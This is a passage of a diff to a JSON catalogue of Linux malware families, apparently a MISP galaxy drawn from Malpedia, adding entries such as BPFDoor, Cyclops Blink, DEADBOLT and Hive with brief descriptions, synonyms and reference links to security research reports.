algorithms. In order to maximize the amount of ransomed data, ALPHV can delete volume shadow copies, stop processes and services, and stop virtual machines on ESXi servers. ALPHV can self-propagate by using PsExec to remote execute itself on other hosts on the local network.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.blackcat", + "https://www.advintel.io/post/blackcat-in-a-shifting-threat-landscape-it-helps-to-land-on-your-feet-tech-dive", + "https://www.zdnet.com/article/blackcat-ransomware-implicated-in-attack-on-german-oil-companies/", + "https://twitter.com/sisoma2/status/1473243875158499330", + "https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html", + "https://www.theregister.com/2022/03/22/talos-ransomware-blackcat/", + "https://www.bleepingcomputer.com/news/security/hive-ransomware-ports-its-linux-vmware-esxi-encryptor-to-rust/", + "https://krebsonsecurity.com/2022/01/who-wrote-the-alphv-blackcat-ransomware-strain/", + "https://securelist.com/a-bad-luck-blackcat/106254/", + "https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html", + "https://securelist.com/new-ransomware-trends-in-2022/106457/", + "https://www.forescout.com/resources/analysis-of-an-alphv-incident", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/blackcat-ransomware-as-a-service.html", + "https://blog.emsisoft.com/en/40931/ransomware-profile-alphv/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself" + ], + "synonyms": [ + "ALPHV", + "Noberus" + ], + "type": [] + }, + "uuid": "860e9d03-830e-4410-ac89-75b6eb89e7e5", + "value": "BlackCat (ELF)" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.blackmatter", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/", + "https://www.bleepingcomputer.com/news/security/linux-version-of-blackmatter-ransomware-targets-vmware-esxi-servers/", + "https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group", + "https://www.mandiant.com/resources/chasing-avaddon-ransomware", + "https://us-cert.cisa.gov/ncas/alerts/aa21-291a", + "https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-moves-victims-to-lockbit-after-shutdown/", + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://news.sophos.com/en-us/2021/08/09/blackmatter-ransomware-emerges-from-the-shadow-of-darkside/", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-million-in-bitcoin/", + "https://therecord.media/darkside-ransomware-gang-moves-some-of-its-bitcoin-after-revil-got-hit-by-law-enforcement/", + "https://blog.group-ib.com/blackmatter#", + "https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html", + "https://blog.group-ib.com/blackmatter2", + "https://medium.com/s2wlab/grooves-thoughts-on-blackmatter-babuk-and-interruption-in-the-supply-of-cheese-in-the-b5328bc764f2", + "https://medium.com/s2wlab/groove-x-ramp-the-relation-between-groove-babuk-ramp-and-blackmatter-f75644f8f92d", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", + "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-blackmatter-lockbit-thor", + "https://www.hhs.gov/sites/default/files/demystifying-blackmatter.pdf", + "https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service", + "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates/", "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", "https://medium.com/s2wlab/blackmatter-x-babuk-using-the-same-web-server-for-sharing-leaked-files-d01c20a74751", - "https://www.bleepingcomputer.com/news/security/linux-version-of-blackmatter-ransomware-targets-vmware-esxi-servers/", - "https://blog.group-ib.com/blackmatter#", - "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates/", + "https://www.youtube.com/watch?v=NIiEcOryLpI", + "https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", "https://twitter.com/VK_Intel/status/1423188690126266370", - "https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service", - "https://news.sophos.com/en-us/2021/08/09/blackmatter-ransomware-emerges-from-the-shadow-of-darkside/", - "https://medium.com/s2wlab/grooves-thoughts-on-blackmatter-babuk-and-interruption-in-the-supply-of-cheese-in-the-b5328bc764f2", - "https://medium.com/s2wlab/groove-x-ramp-the-relation-between-groove-babuk-ramp-and-blackmatter-f75644f8f92d" + "https://twitter.com/GelosSnake/status/1451465959894667275" ], "synonyms": [], "type": [] @@ -2753,6 +3297,61 @@ "uuid": "57c9ab70-7133-441a-af66-10c0e4eb898b", "value": "Break out the Box" }, + { + "description": "According to Alien Labs, this malware targets embedded devices including routers with more than 30 exploits.\r\nSourceCode: https://github.com/Egida/kek/blob/19991ef983f838287aa9362b78b4ed8da0929184/loader_multi.go (2021-10-16)", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.botenago", + "https://www.nozominetworks.com/blog/new-botenago-variant-discovered-by-nozomi-networks-labs/", + "https://cybersecurity.att.com/blogs/labs-research/botenago-strike-again-malware-source-code-uploaded-to-github", + "https://lifars.com/2022/01/newly-found-malware-threatens-iot-devices/", + "https://cybersecurity.att.com/blogs/labs-research/att-alien-labs-finds-new-golang-malwarebotenago-targeting-millions-of-routers-and-iot-devices-with-more-than-30-exploits" + ], + "synonyms": [], + "type": [] + }, + "uuid": "dffcc168-cb76-4ae6-b913-c369e92c614b", + "value": "BotenaGo" + }, + { + "description": "BPFDoor is a passive backdoor used by a China-based threat actor. This backdoor supports multiple protocols for communicating with a C2 including TCP, UDP, and ICMP allowing the threat actor a variety of mechanisms to interact with the implant.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.bpfdoor", + "https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/", + "https://troopers.de/troopers22/talks/7cv8pz/", + "https://twitter.com/CraigHRowland/status/1523266585133457408", + "https://twitter.com/cyb3rops/status/1523227511551033349", + "https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896", + "https://exatrack.com/public/Tricephalic_Hellkeeper.pdf", + "https://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/", + "https://elastic.github.io/security-research/intelligence/2022/05/04.bpfdoor/article/#" + ], + "synonyms": [ + "JustForFun" + ], + "type": [] + }, + "uuid": "3c7082b6-0181-4064-8e35-ab522b49200f", + "value": "BPFDoor" + }, + { + "description": "Pangu Lab discovered this backdoor during a forensic investigation in 2013. They refer to related incidents as \"Operation Telescreen\".", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.bvp47", + "https://exatrack.com/public/Tricephalic_Hellkeeper.pdf", + "https://www.bleepingcomputer.com/news/security/nsa-linked-bvp47-linux-backdoor-widely-undetected-for-10-years/", + "https://www.pangulab.cn/files/The_Bvp47_a_top-tier_backdoor_of_us_nsa_equation_group.en.pdf", + "https://thehackernews.com/2022/02/chinese-experts-uncover-details-of.html", + "https://www.pangulab.cn/en/post/the_bvp47_a_top-tier_backdoor_of_us_nsa_equation_group/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "0492f9bf-3c5d-4c17-993b-2b53d0fb06f7", + "value": "Bvp47" + }, { "description": "XMRig-based mining malware written in Go.", "meta": { @@ -2838,6 +3437,19 @@ "uuid": "700366d8-4036-4e48-9a5f-bd6e09fb9b6b", "value": "Chapro" }, + { + "description": "Chisel is an open-source project by Jaime Pillora (jpillora) that allows tunneling TCP and UDP connections via HTTP. It is available across platforms and written in Go. While benign in itself, Chisel has been utilized by multiple threat actors. It was for example observed by SentinelOne during a PYSA ransomware campaign to achieve persistence and used as backdoor.\r\nGithub: https://github.com/jpillora/chisel", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.chisel", + "https://www.sentinelone.com/blog/from-the-front-lines-peering-into-a-pysa-ransomware-attack/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "e5600185-39b7-49a0-bd60-a6806c7d47dd", + "value": "Chisel (ELF)" + }, { "description": "", "meta": { @@ -2846,6 +3458,7 @@ "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought", "https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/", "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", + "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophoslabs-cloud-snooper-report.pdf", "https://news.sophos.com/wp-content/uploads/2020/02/CloudSnooper_report.pdf" ], "synonyms": [ @@ -2856,6 +3469,29 @@ "uuid": "0b1c514d-f617-4380-a28c-a1ed305a7538", "value": "Cloud Snooper" }, + { + "description": "Ransomware", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.conti", + "https://securelist.com/new-ransomware-trends-in-2022/106457/", + "https://www.secureworks.com/blog/gold-ulrick-continues-conti-operations-despite-public-disclosures", + "https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike", + "https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-group-targets-esxi-hypervisors-with-its-linux-variant.html", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", + "https://www.youtube.com/watch?v=cYx7sQRbjGA", + "https://www.esentire.com/blog/analysis-of-leaked-conti-intrusion-procedures-by-esentires-threat-response-unit-tru" + ], + "synonyms": [ + "Conti Locker" + ], + "type": [] + }, + "uuid": "c1ab8323-ce61-409a-80f3-b945c8ffcd42", + "value": "Conti (ELF)" + }, { "description": "", "meta": { @@ -2900,6 +3536,45 @@ "uuid": "196b20ec-c3d1-4136-ab94-a2a6cc150e74", "value": "Cr1ptT0r" }, + { + "description": "A malware written in Bash that hides in the Linux calendar system on February 31st. Observed in relation to Magecart attacks.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.cronrat", + "https://sansec.io/research/cronrat" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c49062cc-ceef-4794-9d8a-93ede434ecfd", + "value": "CronRAT" + }, + { + "description": "According to CISA, Cyclops Blink appears to be a replacement framework for the VPNFilter malware exposed in 2018, and which exploited network devices, primarily small office/home office (SOHO) routers and network attached storage (NAS) devices. Cyclops Blink has been deployed since at least June 2019, fourteen months after VPNFilter was disrupted. In common with VPNFilter, Cyclops Blink deployment also appears indiscriminate and widespread. The actor has so far primarily deployed Cyclops Blink to WatchGuard devices, but it is likely that Sandworm would be capable of compiling the malware for other architectures and firmware.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.cyclops_blink", + "https://github.com/trendmicro/research/blob/main/cyclops_blink/c2-scripts/check.py", + "https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html", + "https://www.bleepingcomputer.com/news/security/cisa-warns-orgs-of-watchguard-bug-exploited-by-russian-state-hackers/", + "https://www.splunk.com/en_us/blog/security/strt-ta03-cpe-destructive-software.html", + "https://www.justice.gov/opa/pr/justice-department-announces-court-authorized-disruption-botnet-controlled-russian-federation", + "https://www.bleepingcomputer.com/news/security/us-disrupts-russian-cyclops-blink-botnet-before-being-used-in-attacks/", + "https://www.theregister.com/2022/03/18/cyclops_asus_routers/", + "https://www.justice.gov/opa/press-release/file/1491281/download", + "https://www.bleepingcomputer.com/news/security/asus-warns-of-cyclops-blink-malware-attacks-targeting-routers/", + "https://www.justice.gov/opa/video/attorney-general-merrick-b-garland-announces-enforcement-actions-disrupt-and-prosecute", + "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-054a", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyclops-blink-sets-sights-on-asus-routers/Appendix_Cyclops%20Blink%20Sets%20Sights%20on%20ASUS%20Routers.pdf", + "https://www.shadowserver.org/news/shadowserver-special-reports-cyclops-blink/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "76d4b754-e025-41c5-a767-7b00a39bd255", + "value": "CyclopsBlink" + }, { "description": "", "meta": { @@ -2929,7 +3604,8 @@ "https://blogs.juniper.net/en-us/threat-research/attacks-continue-against-realtek-vulnerabilities", "https://www.radware.com/getmedia/d312a5fa-2d8d-4c1e-b31e-73046f24bf35/Alert-Dark-OMIGOD.aspx", "https://twitter.com/ESETresearch/status/1440052837820428298?s=20", - "https://www.radware.com/getmedia/18d24c2d-c092-4a61-9ad6-ebb92b7a49b8/Alert_Realtek_SDK.aspx" + "https://www.radware.com/getmedia/18d24c2d-c092-4a61-9ad6-ebb92b7a49b8/Alert_Realtek_SDK.aspx", + "https://www.lacework.com/blog/kinsing-dark-iot-botnet-among-threats-targeting-cve-2022-26134/" ], "synonyms": [ "Dark.IoT" @@ -2944,6 +3620,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.darknexus", + "https://www.trendmicro.com/en_us/research/21/l/the-evolution-of-iot-linux-malware-based-on-mitre-att&ck-ttps.html", "https://www.stratosphereips.org/blog/2020/6/8/dark-nexus-the-old-the-new-and-the-ugly" ], "synonyms": [], @@ -2961,25 +3638,34 @@ "https://www.elliptic.co/blog/darkside-ransomware-has-netted-over-90-million-in-bitcoin", "https://www.digitalshadows.com/blog-and-research/ransomware-as-a-service-rogue-affiliates-and-whats-next/", "https://otx.alienvault.com/pulse/60d0afbc395c24edefb33bb9", + "https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group", "https://blog.gigamon.com/2021/05/17/tracking-darkside-and-ransomware-the-network-view/", "https://www.secureworks.com/blog/ransomware-groups-use-tor-based-backdoor-for-persistent-access", "https://www.crowdstrike.com/blog/how-ransomware-adversaries-reacted-to-the-darkside-pipeline-attack/", + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-million-in-bitcoin/", + "https://therecord.media/darkside-ransomware-gang-moves-some-of-its-bitcoin-after-revil-got-hit-by-law-enforcement/", "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", "https://krebsonsecurity.com/2021/05/darkside-ransomware-gang-quits-after-servers-bitcoin-stash-seized/", "https://blog.group-ib.com/blackmatter#", "https://www.maltego.com/blog/chasing-darkside-affiliates-identifying-threat-actors-connected-to-darkside-ransomware-using-maltego-intel-471-1/", "https://www.technologyreview.com/2021/05/24/1025195/colonial-pipeline-ransomware-bitdefender/", "https://www.intel471.com/blog/darkside-ransomware-shut-down-revil-avaddon-cybercrime", + "https://blog.group-ib.com/blackmatter2", "https://therecord.media/darkside-ransomware-gang-says-it-lost-control-of-its-servers-money-a-day-after-biden-threat/", "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/darkside-ransomware-victims-sold-short/", "https://www.guidepointsecurity.com/from-zloader-to-darkside-a-ransomware-story/", + "https://www.youtube.com/watch?v=NIiEcOryLpI", "https://www.youtube.com/watch?v=qxPXxWMI2i4", "https://www.wsj.com/articles/colonial-pipeline-ceo-tells-why-he-paid-hackers-a-4-4-million-ransom-11621435636", "https://twitter.com/JAMESWT_MHT/status/1388301138437578757", "https://www.elliptic.co/blog/elliptic-follows-bitcoin-ransoms-paid-by-darkside-ransomware-victims", "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", "https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/", "https://therecord.media/popular-hacking-forum-bans-ransomware-ads/", + "https://www.justice.gov/opa/pr/department-justice-seizes-23-million-cryptocurrency-paid-ransomware-extortionists-darkside", "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", "https://www.trendmicro.com/en_us/research/21/e/darkside-linux-vms-targeted.html", "https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service", @@ -2991,10 +3677,12 @@ "https://medium.com/s2wlab/w1-jun-en-story-of-the-week-ransomware-on-the-darkweb-af491d33868b", "https://www.bleepingcomputer.com/news/security/chemical-distributor-pays-44-million-to-darkside-ransomware/", "https://cybersecurity.att.com/blogs/labs-research/darkside-raas-in-linux-version", - "https://www.justice.gov/opa/pr/department-justice-seizes-23-million-cryptocurrency-paid-ransomware-extortionists-darkside", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.ic3.gov/Media/News/2021/211101.pdf", "https://www.bleepingcomputer.com/news/security/popular-russian-hacking-forum-xss-bans-all-ransomware-topics/", "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", "https://www.nytimes.com/2021/05/29/world/europe/ransomware-russia-darkside.html", + "https://twitter.com/GelosSnake/status/1451465959894667275", "https://www.bleepingcomputer.com/news/security/darkside-ransomware-servers-reportedly-seized-revil-restricts-targets/", "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", "https://securityscorecard.com/blog/new-evidence-supports-assessment-that-darkside-likely-responsible-for-colonial-pipeline-ransomware-attack-others-targeted" @@ -3032,15 +3720,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "25a745c8-0d2a-40e1-9bb2-3704d1bd49e3", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], "uuid": "5c42585b-ea92-4fe2-8a79-bb47a3df67ad", "value": "DDG" }, @@ -3057,6 +3736,36 @@ "uuid": "07f48866-647c-46b0-a0d4-29c81ad488a8", "value": "ddoor" }, + { + "description": "DEADBOLT is a linux ransomware written in GO, targeting QNAP NAS devices worldwide. The files are encrypted with AES128 encryption and will have the .deadbolt extension appended to file names.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.deadbolt", + "https://www.bleepingcomputer.com/news/security/new-deadbolt-ransomware-targets-qnap-devices-asks-50-btc-for-master-key/", + "https://www.trendmicro.com/en_us/research/22/f/closing-the-door-deadbolt-ransomware-locks-out-vendors-with-mult.html", + "https://community.riskiq.com/article/1601124b", + "https://securelist.com/new-ransomware-trends-in-2022/106457/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b37c9ba2-f1b0-4a2f-9387-7310939d2189", + "value": "DEADBOLT" + }, + { + "description": "Cado discovered this malware, written in Go and targeting AWS Lambda environments.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.denonia", + "https://thehackernews.com/2022/04/first-malware-targeting-aws-lambda.html", + "https://www.cadosecurity.com/cado-discovers-denonia-the-first-malware-specifically-targeting-lambda/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "d5d9bb86-715d-4d86-a4d2-ab73085d1b0c", + "value": "Denonia" + }, { "description": "", "meta": { @@ -3070,6 +3779,23 @@ "uuid": "494dcdfb-88cb-456d-a95a-252ff10c0ba9", "value": "Derusbi (ELF)" }, + { + "description": "Dofloo (aka AESDDoS) is a popular malware used to create large scale botnets that can launch DDoS attacks and load cryptocurrency miners to the infected machines. ", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.dofloo", + "https://www.bleepingcomputer.com/news/security/exposed-docker-apis-abused-by-ddos-cryptojacking-botnet-malware/", + "https://blog.syscall.party/post/aes-ddos-analysis-part-1/", + "https://www.botconf.eu/wp-content/uploads/2015/12/OK-P13-Liu-Ya-Automatically-Classify-Unknown-Bots-by-The-Register-Messages.pdf" + ], + "synonyms": [ + "AESDDoS" + ], + "type": [] + }, + "uuid": "ffb5789f-d7e6-4723-a447-e5bb2fe713a0", + "value": "Dofloo" + }, { "description": "", "meta": { @@ -3135,11 +3861,27 @@ "uuid": "040ac9c6-e3ab-4b51-88a9-5380101c74f8", "value": "Echobot" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.enemybot", + "https://www.fortinet.com/blog/threat-research/enemybot-a-look-into-keksecs-latest-ddos-botnet", + "https://www.securonix.com/blog/detecting-the-enemybot-botnet-advisory", + "https://cybersecurity.att.com/blogs/labs-research/rapidly-evolving-iot-malware-enemybot-now-targeting-content-management-system-servers" + ], + "synonyms": [], + "type": [] + }, + "uuid": "262d18be-7cab-46c2-bcb0-47fff17604aa", + "value": "EnemyBot" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.erebus", + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", "https://blog.trendmicro.com/trendlabs-security-intelligence/erebus-resurfaces-as-linux-ransomware/" ], "synonyms": [], @@ -3153,6 +3895,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.evilgnome", + "https://ssu.gov.ua/uploads/files/DKIB/Technical%20report%20Armagedon.pdf", "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought", "https://www.intezer.com/blog-evilgnome-rare-malware-spying-on-linux-desktop-users/" ], @@ -3162,6 +3905,19 @@ "uuid": "149e693c-4b51-4143-9061-6a8698b0e7f5", "value": "EvilGnome" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.ewdoor", + "https://blog.netlab.360.com/warning-ewdoor-botnet-is-attacking-att-customers/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "e75eb723-7c23-4a3b-9419-cefb88e5f6b7", + "value": "EwDoor" + }, { "description": "", "meta": { @@ -3271,7 +4027,9 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.fritzfrog", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", "https://www.guardicore.com/2020/08/fritzfrog-p2p-botnet-infects-ssh-servers/", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/" + "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", + "https://www.securityweek.com/sophisticated-fritzfrog-p2p-botnet-returns-after-long-break", + "https://www.akamai.com/blog/security/fritzfrog-p2p" ], "synonyms": [], "type": [] @@ -3292,6 +4050,20 @@ "uuid": "ffd09324-b585-49c0-97e5-536d386f49a5", "value": "Gitpaste-12" }, + { + "description": "ARM32 SOCKS proxy, written in Go, used in the Glupteba campaign.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.glupteba_proxy", + "https://decoded.avast.io/martinhron/meris-and-trickbot-standing-on-the-shoulders-of-giants/", + "https://thehackernews.com/2022/03/over-200000-microtik-routers-worldwide.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "bcfec1d3-ff29-4677-a5f6-be285e98a9db", + "value": "Glupteba Proxy" + }, { "description": "", "meta": { @@ -3425,9 +4197,13 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.hellokitty", "https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/", + "https://unit42.paloaltonetworks.com/emerging-ransomware-groups/", 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"https://malpedia.caad.fkie.fraunhofer.de/details/elf.hive", + "https://lifars.com/2022/02/how-to-decrypt-the-files-encrypted-by-the-hive-ransomware/", + "https://arxiv.org/pdf/2202.08477.pdf", + "https://thehackernews.com/2022/02/master-key-for-hive-ransomware.html", + "https://www.bleepingcomputer.com/news/security/hive-ransomware-ports-its-linux-vmware-esxi-encryptor-to-rust/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://twitter.com/malwrhunterteam/status/1455628865229950979", + "https://github.com/rivitna/Malware/tree/main/Hive", + "https://therecord.media/hive-ransomware-shuts-down-california-health-care-organization/", + "https://blog.group-ib.com/hive", + "https://therecord.media/academics-publish-method-for-recovering-data-encrypted-by-the-hive-ransomware/", + "https://twitter.com/ESETresearch/status/1454100591261667329", + "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-1st-2022-i-can-fight-with-a-keyboard/", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-hive", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", + "https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again", + "https://securityaffairs.co/wordpress/128232/security/recover-files-hive-ransomware.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c22452c8-c818-4577-9737-0b87342c7913", + "value": "Hive (ELF)" + }, { "description": "", "meta": { @@ -3574,6 +4378,7 @@ "https://www.akamai.com/us/en/multimedia/documents/state-of-the-internet/kaiten-std-router-ddos-malware-threat-advisory.pdf", "https://www.trendmicro.com/en_us/research/20/i/exposed-docker-server-abused-to-drop-cryptominer-ddos-bot-.html", "https://www.lacework.com/the-kek-security-network/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apache-log4j-zero-day", "https://www.blackarrow.net/attackers-abuse-mobileirons-rce-to-deliver-kaiten/" ], "synonyms": [ @@ -3601,6 +4406,24 @@ "uuid": "e3787d95-2595-449e-8cf9-90845a9b7444", "value": "kerberods" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.keyplug", + "https://twitter.com/CyberJack42/status/1501290277864046595", + "https://www.mandiant.com/resources/apt41-us-state-governments", + "https://www.mandiant.com/resources/mobileiron-log4shell-exploitation", + "https://experience.mandiant.com/trending-evil/p/1" + ], + "synonyms": [ + "ELFSHELF" + ], + "type": [] + }, + "uuid": "2c4bfc14-3ea4-4ced-806a-fcac30b2a9d7", + "value": "KEYPLUG" + }, { "description": "", "meta": { @@ -3619,14 +4442,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.kinsing", + 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"https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", + "https://medium.com/s2wblog/logs-of-log4shell-cve-2021-44228-log4j-is-ubiquitous-en-809064312039", "https://www.trendmicro.com/en_us/research/20/k/analysis-of-kinsing-malwares-use-of-rootkit.html", + "https://www.bleepingcomputer.com/news/security/log4shell-exploits-now-used-mostly-for-ddos-botnets-cryptominers/", "https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability", "https://www.trendmicro.com/en_us/research/21/g/threat-actors-exploit-misconfigured-apache-hadoop-yarn.html" ], @@ -3738,6 +4567,26 @@ "uuid": "3fe8f3db-4861-4e78-8b60-a794fe22ae3f", "value": "LiquorBot" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.lockbit", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + 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"https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai", "https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html", "http://osint.bambenekconsulting.com/feeds/", - "https://unit42.paloaltonetworks.com/hoaxcalls-mirai-target-legacy-symantec-web-gateways/", - "https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/", + "https://blogs.jpcert.or.jp/en/2022/03/anti_upx_unpack.html", + "https://www.netscout.com/blog/asert/ddos-attack-campaign-targeting-multiple-organizations-ukraine", + "https://www.lacework.com/blog/malware-targeting-latest-f5-vulnerability/", + "https://socradar.io/what-you-need-to-know-about-russian-cyber-escalation-in-ukraine/", + "https://exchange.xforce.ibmcloud.com/collection/InfectedNight-Mirai-Variant-With-Massive-Attacks-On-Our-Honeypots-dbea3e9e39b8265e729545fa798e4d18", + "https://www.fortinet.com/blog/threat-research/totolink-vulnerabilities-beastmode-mirai-campaign", + "https://forensicitguy.github.io/extracting-indicators-from-packed-mirai/", "https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/", "https://blog.trendmicro.com/trendlabs-security-intelligence/mirai-botnet-exploit-weaponized-to-attack-iot-devices-via-cve-2020-5902/", "https://researchcenter.paloaltonetworks.com/2018/07/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/", - "https://www.radware.com/getmedia/18d24c2d-c092-4a61-9ad6-ebb92b7a49b8/Alert_Realtek_SDK.aspx", + 